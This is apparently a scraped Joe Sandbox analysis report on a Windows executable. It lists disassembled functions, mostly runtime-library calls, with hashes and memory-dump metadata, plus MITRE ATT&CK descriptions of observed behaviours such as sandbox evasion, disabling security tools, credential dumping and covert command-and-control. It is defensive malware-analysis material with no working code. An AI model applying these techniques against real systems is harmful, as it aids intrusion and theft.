__freea.LIBCMT ref: 004172AD
___ansicp.LIBCMT ref: 004172DE
___convertcp.LIBCMT ref: 00417309
LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?), ref: 0041732A
_malloc.LIBCMT ref: 00417362
_memset.LIBCMT ref: 00417384
LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?), ref: 0041739C
___convertcp.LIBCMT ref: 004173BA
__freea.LIBCMT ref: 004173CF
LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004173E9

Memory Dump Source

Source File: 00000000.00000002.4103914064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4103897598.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103935605.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103996215.0000000000436000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
String ID:
API String ID: 3809854901-0
Opcode ID: 699406c386ffa869d5cdd020c3adf727bae4a7aedc43fc2fcbe963bd6ef1e29e
Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
Opcode Fuzzy Hash: 699406c386ffa869d5cdd020c3adf727bae4a7aedc43fc2fcbe963bd6ef1e29e
Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98

Function 0040BCC2 Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040BD24
_memcpy_s.LIBCMT ref: 0040BD99
__fileno.LIBCMT ref: 0040BDF9
__read.LIBCMT ref: 0040BE00
__filbuf.LIBCMT ref: 0040BE24
_memset.LIBCMT ref: 0040BE6A
_memset.LIBCMT ref: 0040BE95

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Memory Dump Source

Source File: 00000000.00000002.4103914064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4103897598.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103935605.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103996215.0000000000436000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: 61b9ef8a6f765c58139a33a573ef994292dae8fcc9e916c915b81b6d9ebba236
Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
Opcode Fuzzy Hash: 61b9ef8a6f765c58139a33a573ef994292dae8fcc9e916c915b81b6d9ebba236
Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD

Function 0040FA58 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 0040FA7A
__calloc_crt.LIBCMT ref: 0040FA93

Strings

`$B, xrefs: 0040FACC
P$B, xrefs: 0040FAAA

Memory Dump Source

Source File: 00000000.00000002.4103914064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4103897598.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103935605.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103996215.0000000000436000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID: __calloc_crt
String ID: P$B$`$B
API String ID: 3494438863-235554963
Opcode ID: fdf4f6b62053dea64867d0c1085960dee66dbdb5e7cbac4bce55836661d1e8cf
Instruction ID: 4bdca0f49684ef71ac3198dcc3f656e5d5ce7fed137673697bf40858e87bd1f9
Opcode Fuzzy Hash: fdf4f6b62053dea64867d0c1085960dee66dbdb5e7cbac4bce55836661d1e8cf
Instruction Fuzzy Hash: 6011A3327446115BE7348B1DBD50F662391EB84728BA4423BE619EA7E0E77CD8864A4C

Function 00405D00 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00405D54
_memset.LIBCMT ref: 00405D6F
_fseek.LIBCMT ref: 00405DDD

Memory Dump Source

Source File: 00000000.00000002.4103914064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4103897598.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103935605.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103996215.0000000000436000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
Opcode ID: e2021bf9677ac04d29097cd60d098293ca774abcf3d3e4afca42f73e68fb5c2d
Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
Opcode Fuzzy Hash: e2021bf9677ac04d29097cd60d098293ca774abcf3d3e4afca42f73e68fb5c2d
Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89

Function 004134DB Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00413501

Part of subcall function 00413326: __fltout2.LIBCMT ref: 00413352

__cftog_l.LIBCMT ref: 00413527
__cftoe_l.LIBCMT ref: 00413559

Memory Dump Source

Source File: 00000000.00000002.4103914064.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4103897598.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103935605.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103950895.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4103996215.0000000000436000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe

Function 004019F0 Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747
comprocessCOMMON

Function 021974E0 Relevance: 6.7, Strings: 5, Instructions: 459
COMMON

Function 0219C4E0 Relevance: 6.6, Strings: 5, Instructions: 352
COMMON

Function 0219586F Relevance: 6.4, Strings: 5, Instructions: 195
COMMON

Function 0219D7B8 Relevance: 6.4, Strings: 5, Instructions: 188
COMMON

Function 0219C980 Relevance: 6.4, Strings: 5, Instructions: 188
COMMON

Function 0219CC58 Relevance: 6.4, Strings: 5, Instructions: 188
COMMON

Function 0219D20B Relevance: 6.4, Strings: 5, Instructions: 187
COMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre